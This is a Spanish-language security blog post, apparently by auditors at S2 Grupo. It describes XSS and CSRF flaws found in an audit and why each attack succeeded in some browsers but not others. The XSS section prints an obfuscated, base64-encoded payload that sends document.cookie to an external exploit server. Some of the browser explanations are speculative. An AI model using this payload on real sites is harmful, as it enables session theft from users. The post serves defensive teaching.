1. XSS
En una de las auditorías que realizamos desde S2GRUPO me topé con una página web vulnerable a XSS y CSRF.
En relación al XSS se logró con éxito el ataque en una entrada de datos que no sanitizaba correctamente los caracteres “,/ y > entre otros, temiéndome lo peor fui directamente a probar los payloads que mayor impacto poseían en cuánto a robo de información, por lo que con el payload %27%22()%26%27%3Cstring%3E%3CScRiPt%3Eeval(atob(%27ZmV0Y2goJ2hedHBz0i8vejc3YnhzMGxkemdndWNvODhzaGg4Z3V6M3E5aHg3bHcub2FzdGlmeS5jb20vP2Nvb2tpZVZpY3RpbWE9Jytkb2N1bWVudC5jb29raWUp%27))%3C/ScRiPt%3E, dónde el texto en base 64 es fetch(‘http://EXPLOIT.server/?cookieVictim=’+document.cookie) se conseguían exfiltrar las cookies de la propia web a un servidor externo controlado por S2grupo una vez la víctima una vez autenticada en la web clicaba en el enlace.
Una vez hallada esta vulnerabilidad, seguí los mismos pasos para desencadenar el XSS en navegadores como Mozilla Firefox, Chrome, brave y Microsoft Edge, de esta manera me haría una idea de cuál sería el motivo por el que las cookies no llegan al servidor de explotación en caso de que la víctima clicase en el enlace malicioso.
Cómo se puede apreciar en la siguiente ilustración, se consiguen las cookies una vez una supuesta víctima haya clicado en el enlace, en este caso el navegador utilizado es Microsoft Edge.
Sin embargo, en un navegador como Brave se puede apreciar como estas cookies nunca llegan al parámetro personalizado cookieVictim.
En esta referencia se puede ver gráficamente lo que sucede en las ilustraciones.
1.1 ¿A qué se debe esta diferencia entre navegadores?
Aunque todos los navegadores usaban configuraciones por defecto, sus mecanismos internos de seguridad difieren. Las razones por las que el mismo payload XSS no se comporta igual en todos los navegadores pueden incluir:
1.2 Política de cookies por contexto (SameSite y Secure)
Algunos navegadores como Brave implementan políticas más estrictas respecto a cookies marcadas con el atributo SameSite=Lax o SameSite=Strict. Esto impide que ciertas cookies se envíen automáticamente cuando una petición se genera desde un contexto sospechoso, como puede ser un script inyectado por XSS.
1.3 Bloqueo de scripts sospechosos (protección anti rastreadores)
Brave, por ejemplo, tiene mecanismos integrados de protección contra rastreadores y scripts de terceros. Esto puede bloquear automáticamente solicitudes fetch() a dominios externos si considera que el comportamiento es similar al de un exploit.
1.4 Política de contenido (Content Security Policy heredada o interna)
Algunos navegadores evalúan políticas de seguridad incluso si no están explícitamente declaradas por la web. Por ejemplo, Chrome y Brave pueden impedir la ejecución de eval() o atob() si detectan que hay riesgo de abuso, a diferencia de Edge o Firefox, que pueden ser más permisivos en configuraciones por defecto.
El análisis del comportamiento de un mismo payload XSS en distintos navegadores revela cómo las políticas de seguridad modernas, como SameSite, CSP y mecanismos antirrastreo, influyen directamente en la efectividad de los ataques. Mientras navegadores unos navegadores permiten la exfiltración de cookies sin restricciones aparentes, otros bloquean silenciosamente estas acciones, demostrando que la seguridad del lado cliente es tan diversa como crítica. Esta disparidad no solo afecta a los ataques XSS, sino que también tiene implicaciones profundas en otros vectores como el CSRF, donde el manejo de cookies y la validación del origen de las peticiones juegan un papel igualmente determinante. A continuación, exploraremos cómo estas diferencias impactan en la ejecución de ataques CSRF y qué navegadores ofrecen mayor resistencia frente a este tipo de amenazas.
2. CSRF
Durante la misma auditoría, identifiqué también una vulnerabilidad de tipo CSRF (Cross-Site Request Forgery) que permitía modificar parámetros críticos en el perfil del usuario autenticado, sin necesidad de autenticación por contraseña en esa misma petición.
Lo más interesante fue que este ataque funcionaba de forma efectiva únicamente si la víctima utilizaba el navegador Mozilla Firefox.
En este caso, bastaba con que el usuario hiciera clic en un enlace malicioso o cargara una página externa con un formulario HTML especialmente diseñado para enviar una petición POST hacia el servidor vulnerable. El navegador enviaba automáticamente las cookies de sesión y los cambios se aplicaban con éxito, sin alertar al usuario.
Sin embargo, al replicar exactamente el mismo ataque en navegadores como Google Chrome, Brave y Microsoft Edge, el resultado fue diferente: el navegador redireccionaba al usuario a la misma web pero le echaba de la sesión, impidiendo así que el servidor aceptara la modificación, protegiendo la integridad de la sesión.
Este comportamiento dispar se produjo con las configuraciones por defecto de cada navegador, lo cual subraya diferencias clave en la forma en que los agentes de usuario modernos implementan políticas de protección contra ataques CSRF.
Puedes ver la documentación gráfica de este artículo.
¿Por qué ocurre esto?
2.1 Política SameSite estricta en Chrome, Edge y Brave
La mayoría de los navegadores modernos han adoptado por defecto SameSite=Lax para cookies que no lo especifican. Esto significa que las cookies no se envían en peticiones POST cross-site, lo que bloquea automáticamente los ataques CSRF tradicionales (basados en formularios o imágenes invisibles). Firefox, sin embargo, aplica esta política de forma más permisiva o inconsistente en algunos contextos.
2.2 Protección contra navegación cruzada no confiable
Navegadores como Chrome y Brave también aplican medidas adicionales como el referrer trimming y validaciones de origen que detectan peticiones sospechosas. Si el origen (Origin header) de la petición no coincide con el destino, la sesión puede ser invalidada o ignorada por el backend si este la evalúa correctamente.
El comportamiento inconsistente del ataque CSRF entre navegadores pone de manifiesto cómo las decisiones de diseño en torno a la gestión de cookies y validación de origen pueden marcar la diferencia entre una sesión comprometida y una protegida. Algunos navegadores aún presentan ciertas lagunas en la aplicación de políticas como SameSite, otros navegadores han endurecido sus defensas, bloqueando eficazmente peticiones maliciosas sin intervención del usuario. Esta evolución en las medidas de seguridad del lado cliente refuerza la necesidad de no depender exclusivamente del navegador para proteger aplicaciones web. Así como vimos en el caso del XSS, donde la ejecución del payload dependía del entorno, en CSRF la protección también varía, lo que subraya la importancia de implementar defensas robustas desde el servidor, como tokens anti-CSRF y validaciones de origen, para garantizar una seguridad transversal frente a múltiples vectores de ataque.
Speak Your Mind